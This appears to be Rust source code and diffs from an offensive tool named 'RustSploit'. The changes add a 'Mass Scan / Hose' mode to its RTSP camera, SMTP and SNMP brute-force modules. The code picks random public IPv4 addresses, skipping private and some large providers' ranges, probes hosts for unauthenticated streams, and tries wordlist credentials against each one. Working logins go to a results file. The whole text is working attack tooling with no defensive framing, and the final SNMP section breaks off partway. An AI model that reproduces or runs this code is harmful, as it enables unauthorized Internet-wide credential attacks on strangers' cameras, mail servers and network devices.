mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
let targets: Vec<String> = if std::path::Path::new(target).is_file() {
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect()
|
||||
} else if target.contains('/') {
|
||||
if let Ok(net) = target.parse::<ipnetwork::IpNetwork>() {
|
||||
net.iter().map(|ip| ip.to_string()).collect()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
}
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets.", targets.len()).blue());
|
||||
|
||||
for ip_str in targets {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
let ip_addr = match ip_str.parse::<IpAddr>() {
|
||||
Ok(ip) => Some(ip),
|
||||
Err(_) => {
|
||||
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
|
||||
Ok(mut iter) => iter.next().map(|s| s.ip()),
|
||||
Err(_) => None
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if let Some(ip) = ip_addr {
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check (Fast Fail)
|
||||
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Probe once to determine method
|
||||
let (users, passes, paths) = &*creds;
|
||||
|
||||
// We try to probe the preferred path (usually first one or root)
|
||||
let probe_path = paths.first().cloned().unwrap_or_default();
|
||||
let addrs = [sa];
|
||||
|
||||
// For mass scan, we might fail probe due to timeout, just return then.
|
||||
// If Unauth, we log and return success immediately!
|
||||
let auth_method = match probe_auth_method(&addrs, &sa.to_string(), &probe_path).await {
|
||||
Ok(AuthMethod::None) => {
|
||||
// Found open!
|
||||
let result_str = format!("{} -> <NO_AUTH>:<NO_AUTH> [path={}]", sa, probe_path);
|
||||
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return;
|
||||
},
|
||||
Ok(m) => m,
|
||||
Err(_) => return, // Failed to probe, host likely gone
|
||||
};
|
||||
|
||||
for path in paths {
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let res = try_rtsp_login_smart(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
user,
|
||||
pass,
|
||||
path,
|
||||
&auth_method
|
||||
).await;
|
||||
|
||||
match res {
|
||||
Ok(true) => {
|
||||
let result_str = format!("{} -> {}:{} [path={}]", sa, user, pass, path);
|
||||
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return;
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string().to_lowercase();
|
||||
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") {
|
||||
return;
|
||||
}
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", sa, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked_file(ip: &str) {
|
||||
let data = format!("checked: {}\n", ip);
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolve a host:port for single target mode
|
||||
async fn resolve_targets(addr: &str, default_port: u16) -> Result<Vec<SocketAddr>> {
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(default_port))
|
||||
} else {
|
||||
(addr.to_string(), default_port)
|
||||
};
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
// ------ RTSP Logic ------
|
||||
|
||||
async fn connect_to_any(addrs: &[SocketAddr]) -> Result<(TcpStream, SocketAddr)> {
|
||||
let mut last_err = None;
|
||||
for sa in addrs {
|
||||
// Connect timeout
|
||||
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
|
||||
Ok(Ok(s)) => return Ok((s, *sa)),
|
||||
Ok(Err(e)) => { last_err = Some(e); continue; }
|
||||
Err(_) => { last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout")); continue; }
|
||||
}
|
||||
}
|
||||
Err(last_err.map(|e| e.into()).unwrap_or_else(|| anyhow!("All connection attempts failed")))
|
||||
}
|
||||
|
||||
async fn send_request(stream: &mut TcpStream, request: &str) -> Result<String> {
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
// Read timeout
|
||||
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Connection closed by server"));
|
||||
}
|
||||
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
|
||||
}
|
||||
|
||||
/// Probes the server to determine supported auth method
|
||||
async fn probe_auth_method(addrs: &[SocketAddr], _addr_display: &str, path: &str) -> Result<AuthMethod> {
|
||||
let (mut stream, sa) = connect_to_any(addrs).await?;
|
||||
|
||||
let path_str = if path.is_empty() { "/" } else { path };
|
||||
let method = "DESCRIBE";
|
||||
|
||||
// Send unauthenticated request
|
||||
let request = format!(
|
||||
"{method} rtsp://{host}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
method = method,
|
||||
host = sa.ip(),
|
||||
port = sa.port(),
|
||||
path = path_str.trim_start_matches('/')
|
||||
);
|
||||
|
||||
let response = send_request(&mut stream, &request).await?;
|
||||
|
||||
if response.contains("200 OK") {
|
||||
return Ok(AuthMethod::None);
|
||||
}
|
||||
|
||||
if response.contains("401 Unauthorized") {
|
||||
if response.contains("Digest") {
|
||||
// Parse Realm and Nonce
|
||||
// WWW-Authenticate: Digest realm="HipcamRealServer", nonce="3b27a446bfa49b0c48c3edb631e09054"
|
||||
let realm = extract_header_value(&response, "realm=\"", "\"");
|
||||
let nonce = extract_header_value(&response, "nonce=\"", "\"");
|
||||
|
||||
if let (Some(r), Some(n)) = (realm, nonce) {
|
||||
return Ok(AuthMethod::Digest { realm: r, nonce: n });
|
||||
}
|
||||
} else if response.contains("Basic") {
|
||||
return Ok(AuthMethod::Basic);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(AuthMethod::Unknown)
|
||||
}
|
||||
|
||||
fn extract_header_value(response: &str, start_marker: &str, end_marker: &str) -> Option<String> {
|
||||
if let Some(start) = response.find(start_marker) {
|
||||
let remainder = &response[start + start_marker.len()..];
|
||||
if let Some(end) = remainder.find(end_marker) {
|
||||
return Some(remainder[..end].to_string());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
async fn try_rtsp_login_smart(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
auth_method: &AuthMethod,
|
||||
) -> Result<bool> {
|
||||
|
||||
let method_to_use = if let AuthMethod::Unknown = auth_method {
|
||||
probe_auth_method(addrs, addr_display, path).await.unwrap_or(AuthMethod::Basic)
|
||||
} else {
|
||||
auth_method.clone()
|
||||
};
|
||||
|
||||
let (mut stream, sa) = connect_to_any(addrs).await?;
|
||||
|
||||
let rtsp_verb = "DESCRIBE";
|
||||
let path_str = if path.is_empty() { "/" } else { path };
|
||||
let path_clean = path_str.trim_start_matches('/');
|
||||
|
||||
let uri = format!("rtsp://{}:{}/{}", sa.ip(), sa.port(), path_clean);
|
||||
|
||||
let auth_header = match method_to_use {
|
||||
AuthMethod::None => return Ok(true),
|
||||
AuthMethod::Basic => {
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
format!("Authorization: Basic {}", credentials)
|
||||
},
|
||||
AuthMethod::Digest { ref realm, ref nonce } => {
|
||||
let ha1 = format!("{:x}", md5::compute(format!("{}:{}:{}", user, realm, pass)));
|
||||
let ha2 = format!("{:x}", md5::compute(format!("{}:{}", rtsp_verb, uri)));
|
||||
let response = format!("{:x}", md5::compute(format!("{}:{}:{}", ha1, nonce, ha2)));
|
||||
|
||||
format!(
|
||||
"Authorization: Digest username=\"{}\", realm=\"{}\", nonce=\"{}\", uri=\"{}\", response=\"{}\"",
|
||||
user, realm, nonce, uri, response
|
||||
)
|
||||
},
|
||||
AuthMethod::Unknown => return Ok(false),
|
||||
};
|
||||
|
||||
let request = format!(
|
||||
"{method} {uri} RTSP/1.0\r\nCSeq: 2\r\n{auth}\r\n\r\n",
|
||||
method = rtsp_verb,
|
||||
uri = uri,
|
||||
auth = auth_header
|
||||
);
|
||||
|
||||
let response = send_request(&mut stream, &request).await?;
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
fn extract_rtsp_path(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
|
||||
if let Some((_, path)) = without_scheme.split_once('/') {
|
||||
let clean_path = path.split(|c| c == '?' || c == '#')
|
||||
.next()
|
||||
.unwrap_or_default()
|
||||
.trim();
|
||||
|
||||
if clean_path.is_empty() || clean_path == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut final_path = clean_path.to_string();
|
||||
if !final_path.starts_with('/') {
|
||||
final_path.insert(0, '/');
|
||||
}
|
||||
Some(final_path)
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
+212
-12
@@ -1,8 +1,9 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::net::{ToSocketAddrs, IpAddr, SocketAddr};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::time::Duration;
|
||||
@@ -10,12 +11,32 @@ use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use telnet::{Telnet, Event};
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::fs::OpenOptions;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
|
||||
const STATE_FILE: &str = "smtp_hose_state.log";
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
@@ -34,18 +55,29 @@ struct SmtpBruteforceConfig {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
|
||||
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
|
||||
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file")?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file")?;
|
||||
|
||||
let threads = prompt_int_range("Threads", 8, 1, 256).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let threads = prompt_int_range("Threads", 8, 1, 256)? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output file for results", "smtp_results.txt").await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let output_file = prompt_default("Output file for results", "smtp_results.txt")?;
|
||||
|
||||
let config = SmtpBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
@@ -64,6 +96,172 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
run_smtp_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep
|
||||
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let output_file = prompt_default("Output result file", "smtp_mass_results.txt")?;
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid SMTP credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes) = &*creds;
|
||||
|
||||
// 2. Bruteforce
|
||||
// Reuse existing blocking sync function inside spawn_blocking?
|
||||
// The existing function uses std::net::TcpStream blocking.
|
||||
// That's fine for small lists, but suboptimal for high concurrency.
|
||||
// However, since we are inside a spawned tokio task, spawn_blocking is appropriate.
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let t_target = target_str.clone();
|
||||
let t_user = user.clone();
|
||||
let t_pass = pass.clone();
|
||||
let t_port = port;
|
||||
|
||||
let t_target_inner = t_target.clone();
|
||||
let t_user_inner = t_user.clone();
|
||||
let t_pass_inner = t_pass.clone();
|
||||
|
||||
// Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream)
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", t_target, t_user, t_pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
if verbose {
|
||||
// Auth failed
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection error
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return; // Stop scanning host
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Start/Join error
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
@@ -293,3 +491,5 @@ fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Re
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
|
||||
+195
-12
@@ -1,28 +1,46 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{SocketAddr, UdpSocket},
|
||||
net::{SocketAddr, UdpSocket, IpAddr},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const STATE_FILE: &str = "snmp_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
|
||||
@@ -30,14 +48,25 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0"
|
||||
|| target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single-Target Logic ---
|
||||
|
||||
let default_port = 161;
|
||||
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16;
|
||||
|
||||
let communities_file = prompt_existing_file("Community string wordlist file path").await?;
|
||||
let communities_file = prompt_existing_file("Community string wordlist file path")?;
|
||||
|
||||
// Custom prompt for version since it's specific
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
@@ -45,16 +74,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000).await? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000)? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
|
||||
// Output file handled by saving results at the end usually, but old code asked upfront.
|
||||
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
|
||||
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
|
||||
let output_file = prompt_default("Output file", "snmp_results.txt").await?;
|
||||
let output_file = prompt_default("Output file", "snmp_results.txt")?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
|
||||
|
||||
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
|
||||
|
||||
@@ -531,3 +560,157 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
|
||||
|
||||
|
||||
/// Run mass scan logic (Hose style)
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
|
||||
|
||||
let port = prompt_int_range("SNMP Port", 161, 1, 65535)? as u16;
|
||||
let communities_file = prompt_existing_file("Community string wordlist")?;
|
||||
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0,
|
||||
"2c" | "2" => break 1,
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
};
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
|
||||
